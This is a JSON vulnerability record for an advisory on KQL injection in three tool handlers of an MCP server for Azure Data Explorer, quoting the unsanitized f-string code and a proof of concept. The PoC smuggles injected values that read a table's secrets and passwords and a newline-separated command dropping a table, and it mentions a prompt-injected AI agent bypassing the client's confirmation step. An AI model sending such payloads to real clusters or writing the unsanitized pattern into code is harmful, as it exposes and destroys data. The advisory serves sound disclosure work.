{"id":"CVE-2026-33980","aliases":["GHSA-vphc-468g-8rfp","PYSEC-2026-2327"],"title":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","summary":"Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries","severity":"high","cvss":8.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","vendor":"adx-mcp-server","product":"adx-mcp-server","ecosystem":"pip","affected":["adx-mcp-server <= 1.1.0"],"published":"2026-03-27","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-vphc-468g-8rfp","references":[{"url":"https://github.com/pab1it0/adx-mcp-server/security/advisories/GHSA-vphc-468g-8rfp"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33980"},{"url":"https://github.com/pab1it0/adx-mcp-server/commit/0abe0ee55279e111281076393e5e966335fffd30"},{"url":"https://github.com/pab1it0/adx-mcp-server"}],"tags":["osv","pip","exploit-available"],"epss":0.00396,"epssPercentile":0.3365,"ingestedAt":"2026-07-13T18:58:03.735Z","exploits":{"github":1,"githubRepos":["https://github.com/romain-deperne/CVE-2026-33980"],"checkedAt":"2026-09-23T07:13:59.498Z"},"exploitAvailable":true,"slug":"CVE-2026-33980","body":"## Overview\n\n### Summary\n\nadx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: `get_table_schema`, `sample_table_data`, and `get_table_details`. The `table_name` parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.\n\n### Details\n\nThe MCP tools construct KQL queries by directly embedding the `table_name` parameter into query strings:\n\n**Vulnerable code** ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):\n\n```python\n@mcp.tool(...)\nasync def get_table_schema(table_name: str) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | getschema\"          # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\"{table_name} | sample {sample_size}\"  # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\n```python\n@mcp.tool(...)\nasync def get_table_details(table_name: str) -> List[Dict[str, Any]]:\n    client = get_kusto_client()\n    query = f\".show table {table_name} details\"     # <-- KQL injection\n    result_set = client.execute(config.database, query)\n```\n\nKQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject:\n- `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables\n- Newline-separated management commands like `.drop table important_data` via `get_table_details`\n- Arbitrary KQL analytics queries via any of the three tools\n\n**Note:** While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to \"safe\" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary.\n\n### PoC\n\n```python\n# PoC: KQL Injection via get_table_schema tool\n# The table_name parameter is injected into: f\"{table_name} | getschema\"\n\nimport json\n\n# MCP tool call that exfiltrates data from a sensitive table\ntool_call = {\n    \"name\": \"get_table_schema\",\n    \"arguments\": {\n        \"table_name\": \"sensitive_data | project Secret, Password | take 100 //\"\n    }\n}\nprint(json.dumps(tool_call, indent=2))\n\n# Resulting KQL: \"sensitive_data | project Secret, Password | take 100 // | getschema\"\n# The // comments out \"| getschema\", executing an arbitrary data query instead\n\n# Destructive example via get_table_details:\ntool_call_destructive = {\n    \"name\": \"get_table_details\",\n    \"arguments\": {\n        \"table_name\": \"users details\\n.drop table critical_data\"\n    }\n}\n# Resulting KQL:\n#   .show table users details\n#   .drop table critical_data details\n```\n\n## Affected packages\n\n- `adx-mcp-server <= 1.1.0`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"midnight","depthScore":58,"depthScoreParts":{"impact":45.7,"likelihood":0.1,"exploitation":12,"ransomware":0},"changes":[{"seq":5118,"id":"CVE-2026-33980","ts":1788887248899,"field":"exploit_available","old":"false","new":"true"},{"seq":4001,"id":"CVE-2026-33980","ts":1788886364572,"field":"exploit_available","old":"true","new":"false"},{"seq":2814,"id":"CVE-2026-33980","ts":1788883031273,"field":"exploit_available","old":"false","new":"true"},{"seq":1843,"id":"CVE-2026-33980","ts":1788882434197,"field":"exploit_available","old":"true","new":"false"},{"seq":941,"id":"CVE-2026-33980","ts":1788881868220,"field":"exploit_available","old":"false","new":"true"}]}